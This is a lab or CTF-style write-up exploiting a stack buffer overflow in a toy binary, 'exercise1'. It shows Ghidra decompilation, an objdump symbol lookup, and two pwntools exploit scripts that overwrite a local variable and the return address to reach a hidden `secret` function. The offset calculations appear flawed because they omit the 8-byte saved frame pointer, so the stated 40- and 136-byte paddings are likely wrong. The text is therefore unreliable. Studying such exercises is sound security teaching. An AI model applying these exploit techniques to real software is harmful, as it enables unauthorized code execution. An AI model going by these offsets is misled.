Reverse-Engineering Buffer-Overflow

Alireza Raisi

May 30, 2025

Main Idea

The main goal of this challenge is to execute the hidden `secret` function. This can be done by **overwriting the return address** on the stack with the address of `secret`, causing the program to jump to it when it returns.

Binary Analysis

From Ghidra, the `main` function looks like this:

```
undefined8 main(void)
{
  char local_28[28];
  int local_c;

  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  setbuf(stdin, NULL);
  local_c = 0;
  puts("Hi,␣Please␣enter␣your␣name:␣");
  gets(local_28);
  if (local_c == 0xcafe) {
    helloUser(local_28);
  }
  return 0;
}
```

There is a vulnerable `gets()` call, followed by a conditional check on `local_c`, which is placed immediately after the buffer on the stack.

helloUser Function

`helloUser()` also contains a `gets()` call with a 128-byte buffer, which can be used for further overflow:

```
void helloUser(undefined8 param_1)
{
  char local_88[128];

  printf("Nice␣to␣meet␣you␣%s!\n", param_1);
  puts("Tell␣me␣about␣yourself␣;;)");
  gets(local_88);
  puts("It␣was␣a␣pleasure␣meeting␣you.");
}
```

Symbol Info

We locate the address of the secret function using `objdump`:

```
$ objdump -t exercise1 | grep secret
0000000000401186 g     F .text  0000000000000077              secret
```

Payload 1 – Overwrite local_c and then Ret to secret

First, we overflow the buffer to overwrite `local_c` with `0xcafe`, so the program enters `helloUser`. Then, we overflow the buffer inside `helloUser` to overwrite its return address with the address of `secret`.

```
from pwn import *

context.binary = './exercise1'
p = process('./exercise1')

secret_addr = 0x401186

# Step 1: Trigger helloUser
payload1 = b"A" * 28 + p64(0xcafe)
p.sendline(payload1)

# Step 2: Overflow return address inside helloUser
payload2 = b"B" * 136 + p64(secret_addr)
p.sendline(payload2)

p.interactive()
```

Payload 2 – Direct Return Address Overwrite from main

In this simpler variant, we directly overflow the stack in `main` to overwrite its return address with the address of `secret`:

```
from pwn import *

context.binary = './exercise1'
p = process('./exercise1')

secret_addr = 0x401186

payload = b"A" * 40 + p64(secret_addr)
p.sendline(payload)

p.interactive()
```

Offset Calculation

To successfully construct the payloads, we need to determine the number of bytes to write before reaching the target locations in memory (such as a local variable or return address). These offsets were calculated using information from Ghidra.

Payload 1 (Two-stage)

In the `main()` function, we want to overwrite the variable `local_c` in order to pass the condition `if (local_c == 0xcafe)`. Ghidra shows the following stack offsets:

- `local_28` is located at `rbp - 0x28`
- `local_c` is located at `rbp - 0xc`

To reach and overwrite `local_c`, we calculate:

$$0x28 - 0xc = 0x1C = 28 \text{ bytes}$$

So we write 28 bytes of junk to fill the buffer, then 4 bytes to overwrite `local_c` with `0xcafe`.

In the `helloUser()` function, Ghidra shows:

- `local_88` is located at `rbp - 0x88`

To overwrite the return address, we must fill the 136 bytes (`0x88` in decimal), followed by the 8-byte return address. Therefore, the payload consists of 136 junk bytes followed by the address of the `secret` function.

Payload 2 (Direct)

This method skips `helloUser()` and directly overflows the buffer in `main()` to reach the return address. From Ghidra:

- `local_28` is at `rbp - 0x28`

Assuming no other local variables between the buffer and return address (or minimal padding), the offset to the return address is:

$$0x28 = 40 \text{ bytes}$$

So we send 40 bytes of padding followed by the address of the `secret` function.

Conclusion

Both payloads achieve code execution of the hidden `secret` function:

- The first uses two-stage control: set `local_c` and overflow inside `helloUser`.
- The second jumps directly from `main` by overwriting the return address.

This illustrates how vulnerable `gets()` and poor stack protection lead to classic buffer overflow exploits.